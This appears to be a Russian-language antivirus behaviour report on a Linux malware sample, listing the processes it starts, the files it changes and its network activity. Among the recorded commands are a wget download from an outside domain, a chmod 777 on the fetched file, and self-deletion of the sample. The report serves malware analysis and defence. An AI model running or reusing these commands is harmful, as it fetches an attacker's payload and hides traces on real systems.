Техническая информация
Вредоносные функции:
Самоудаляется
Выполняет трассировку процессов:
- <SAMPLE>
- <SAMPLE_FULL_PATH>
Запускает процессы:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- clear
- rm -- <SAMPLE_FULL_PATH>
- sleep 1
- wget --output-document=anaconda-ksc.dat http://antibot.glorywebscript.com/ipblocksForLinux/server.php
- chmod 777 -R anaconda-ksc.dat
- du -k anaconda-ksc.dat
- cut -f1
Завершает следующие процессы:
- <SAMPLE>
- <SAMPLE_FULL_PATH>
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/anaconda-ksc.dat
Создает или модифицирует файлы:
- /root/anaconda-ksc.dat
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
- 89.###.226.226:443
HTTP GET-запросы:
- an#####.#######bscript.com/ipblocksForLinux/server.php
DNS ASK:
- an#####.glorywebscript.com
Посылает данные следующим серверам:
- 89.###.226.226:443
Получает данные от следующих серверов:
- 89.###.226.226:443
Прочее:
Собирает информацию об оперативной памяти
